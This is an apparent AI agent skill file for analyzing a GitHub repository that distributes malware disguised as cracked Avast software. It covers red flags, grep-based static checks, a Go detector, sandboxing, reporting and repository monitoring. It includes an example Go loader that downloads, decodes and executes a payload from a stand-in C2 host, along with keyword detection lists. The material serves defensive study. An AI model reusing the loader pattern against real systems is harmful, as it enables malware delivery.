malware-analysis-dragonflyTomb-avast

Analyze and understand malware distribution techniques disguised as legitimate security software installers

Skill file

Preview skill file
---
name: malware-analysis-dragonflyTomb-avast
description: Analyze and understand malware distribution techniques disguised as legitimate security software installers
triggers:
  - analyze this suspicious avast installer repository
  - investigate fake antivirus distribution on github
  - check if this security software is legitimate
  - detect malware disguised as premium software
  - examine cracked software distribution patterns
  - identify keygen and loader malware indicators
  - analyze social engineering in fake security tools
  - review suspicious security software repository
---

# DragonflyTomb/Avast-Premium-Security-2026 Analysis

> Skill by [ara.so](https://ara.so) — Security Skills collection

## ⚠️ WARNING: Malware Distribution Repository

This repository is **NOT** legitimate Avast Premium Security software. It exhibits multiple red flags consistent with malware distribution disguised as cracked security software.

## Threat Indicators

### Repository Red Flags

1. **Unauthorized Distribution**: Avast Corporation does not distribute software via GitHub repositories named "DragonflyTomb"
2. **Crack/Keygen Keywords**: Terms like "Keygen", "Pre-Activated", "Loader", "Serial" indicate piracy or malware
3. **Suspicious Topics**: Includes "retdec" (reverse engineering tool) in security software context
4. **No README**: Legitimate software repositories include documentation
5. **Artificial Stars**: 60 stars at 5 stars/day suggests manipulation
6. **No License**: "NOASSERTION" for commercial software is suspicious
7. **Future Date**: Claims to be "2026" version (likely timestamp manipulation)

### Common Malware Distribution Patterns

```go
// Typical malware loader pattern in Go
package main

import (
    "encoding/base64"
    "io/ioutil"
    "net/http"
    "os"
    "os/exec"
)

// WARNING: This is example malware behavior - DO NOT USE
func suspiciousDownloader() {
    // Downloads secondary payload
    resp, _ := http.Get("hxxp://malicious-c2-server.com/payload")
    defer resp.Body.Close()
    
    payload, _ := ioutil.ReadAll(resp.Body)
    decoded, _ := base64.StdEncoding.DecodeString(string(payload))
    
    // Writes to system directory
    ioutil.WriteFile("C:\\Windows\\Temp\\update.exe", decoded, 0755)
    
    // Executes with elevated privileges
    exec.Command("cmd", "/c", "C:\\Windows\\Temp\\update.exe").Run()
}
```

## Analysis Techniques

### Static Analysis Checklist

```bash
# Check for suspicious imports (if source code available)
grep -r "syscall" .
grep -r "unsafe" .
grep -r "net/http" .
grep -r "os/exec" .
grep -r "crypto" .

# Look for obfuscation patterns
grep -r "base64" .
grep -r "XOR" .
grep -r "decode" .

# Check for persistence mechanisms
grep -r "Registry" .
grep -r "Startup" .
grep -r "Task Scheduler" .
```

### Detection Code Example

```go
package main

import (
    "crypto/sha256"
    "fmt"
    "io"
    "os"
    "path/filepath"
    "strings"
)

// MalwareIndicators represents suspicious patterns
type MalwareIndicators struct {
    SuspiciousImports  []string
    ObfuscationDetected bool
    NetworkConnections  []string
    FileHash           string
}

// AnalyzeGoFile checks for malware indicators
func AnalyzeGoFile(path string) (*MalwareIndicators, error) {
    content, err := os.ReadFile(path)
    if err != nil {
        return nil, err
    }
    
    indicators := &MalwareIndicators{
        SuspiciousImports: []string{},
    }
    
    // Check for suspicious imports
    suspiciousPackages := []string{
        "syscall",
        "unsafe",
        "os/exec",
        "net/http",
        "crypto/aes",
    }
    
    contentStr := string(content)
    for _, pkg := range suspiciousPackages {
        if strings.Contains(contentStr, fmt.Sprintf(`"%s"`, pkg)) {
            indicators.SuspiciousImports = append(indicators.SuspiciousImports, pkg)
        }
    }
    
    // Check for obfuscation
    if strings.Contains(contentStr, "base64") || 
       strings.Contains(contentStr, "XOR") ||
       strings.Contains(contentStr, "decode") {
        indicators.ObfuscationDetected = true
    }
    
    // Calculate file hash
    f, _ := os.Open(path)
    defer f.Close()
    h := sha256.New()
    io.Copy(h, f)
    indicators.FileHash = fmt.Sprintf("%x", h.Sum(nil))
    
    return indicators, nil
}

// ScanRepository analyzes all Go files in directory
func ScanRepository(rootDir string) {
    filepath.Walk(rootDir, func(path string, info os.FileInfo, err error) error {
        if strings.HasSuffix(path, ".go") {
            indicators, err := AnalyzeGoFile(path)
            if err != nil {
                return nil
            }
            
            if len(indicators.SuspiciousImports) > 0 || indicators.ObfuscationDetected {
                fmt.Printf("⚠️  Suspicious file: %s\n", path)
                fmt.Printf("   Hash: %s\n", indicators.FileHash)
                fmt.Printf("   Imports: %v\n", indicators.SuspiciousImports)
                fmt.Printf("   Obfuscated: %v\n\n", indicators.ObfuscationDetected)
            }
        }
        return nil
    })
}
```

## Safe Investigation Practices

### Sandbox Environment Setup

```bash
# Use isolated VM or container
docker run -it --rm --network none golang:1.21 /bin/bash

# Clone repository in isolated environment
cd /tmp
git clone https://github.com/DragonflyTomb/Avast-Premium-Security-2026

# Analyze without executing
cd Avast-Premium-Security-2026
find . -type f -name "*.go" | head -10
```

### Binary Analysis Tools

```bash
# If compiled binaries are present
strings suspicious_binary.exe | grep -i "http"
strings suspicious_binary.exe | grep -i "password"
strings suspicious_binary.exe | grep -i "admin"

# Check for packed/obfuscated binaries
file suspicious_binary.exe
xxd suspicious_binary.exe | head -50
```

## Reporting Malware

### GitHub Abuse Report

```bash
# Report repository via GitHub's abuse form
# URL: https://github.com/contact/report-abuse

# Include:
# - Repository URL
# - Description: "Malware distribution disguised as Avast Premium Security"
# - Evidence: Keywords like keygen, loader, pre-activated
```

### VirusTotal Submission

```go
package main

import (
    "bytes"
    "fmt"
    "io"
    "mime/multipart"
    "net/http"
    "os"
)

// SubmitToVirusTotal uploads suspicious file for analysis
func SubmitToVirusTotal(filePath string) error {
    apiKey := os.Getenv("VIRUSTOTAL_API_KEY")
    if apiKey == "" {
        return fmt.Errorf("VIRUSTOTAL_API_KEY not set")
    }
    
    file, err := os.Open(filePath)
    if err != nil {
        return err
    }
    defer file.Close()
    
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)
    part, _ := writer.CreateFormFile("file", filePath)
    io.Copy(part, file)
    writer.Close()
    
    req, _ := http.NewRequest("POST", "https://www.virustotal.com/vtapi/v2/file/scan", body)
    req.Header.Set("Content-Type", writer.FormDataContentType())
    req.Header.Set("x-apikey", apiKey)
    
    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return err
    }
    defer resp.Body.Close()
    
    fmt.Printf("VirusTotal response: %d\n", resp.StatusCode)
    return nil
}
```

## Prevention Guidance

### For Developers

1. **Never download from unofficial sources**
2. **Verify digital signatures** on legitimate software
3. **Check official vendor websites** for authentic downloads
4. **Use package managers** where possible
5. **Enable EDR/XDR** solutions on development machines

### For Security Teams

```go
// GitHub repository monitoring
package main

import (
    "context"
    "fmt"
    "github.com/google/go-github/v50/github"
    "strings"
)

// MonitorSuspiciousRepos searches for malware distribution patterns
func MonitorSuspiciousRepos(ctx context.Context, token string) {
    client := github.NewClient(nil).WithAuthToken(token)
    
    keywords := []string{
        "keygen", "crack", "loader", "pre-activated",
        "premium serial", "full version installer",
    }
    
    for _, keyword := range keywords {
        query := fmt.Sprintf("%s in:description language:go", keyword)
        opts := &github.SearchOptions{
            ListOptions: github.ListOptions{PerPage: 10},
        }
        
        results, _, err := client.Search.Repositories(ctx, query, opts)
        if err != nil {
            continue
        }
        
        for _, repo := range results.Repositories {
            fmt.Printf("⚠️  Suspicious: %s\n", repo.GetFullName())
            fmt.Printf("   Description: %s\n", repo.GetDescription())
            fmt.Printf("   Stars: %d\n\n", repo.GetStargazersCount())
        }
    }
}
```

## Legitimate Avast Resources

- **Official Website**: https://www.avast.com
- **Official Downloads**: https://www.avast.com/download
- **Official Support**: https://support.avast.com
- **Verify Publisher**: Digital signatures should show "Avast Software s.r.o."

## Conclusion

This repository represents a malware distribution operation using social engineering tactics. Always obtain security software directly from verified vendor sources and never trust "cracked", "keygen", or "pre-activated" versions of commercial software.

Source

Creator's repository · aradotso/security-skills

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What this skill can do
Reads your filesConnects to the internetRuns code on your machine
Checked by 3 independent security firms
Does it try to trick the AI?Not yet checkedPending · Gen Agent Trust Hub
Does it sneak in hidden code?Not yet checkedPending · Socket
Does it have known bugs?Not yet checkedPending · Snyk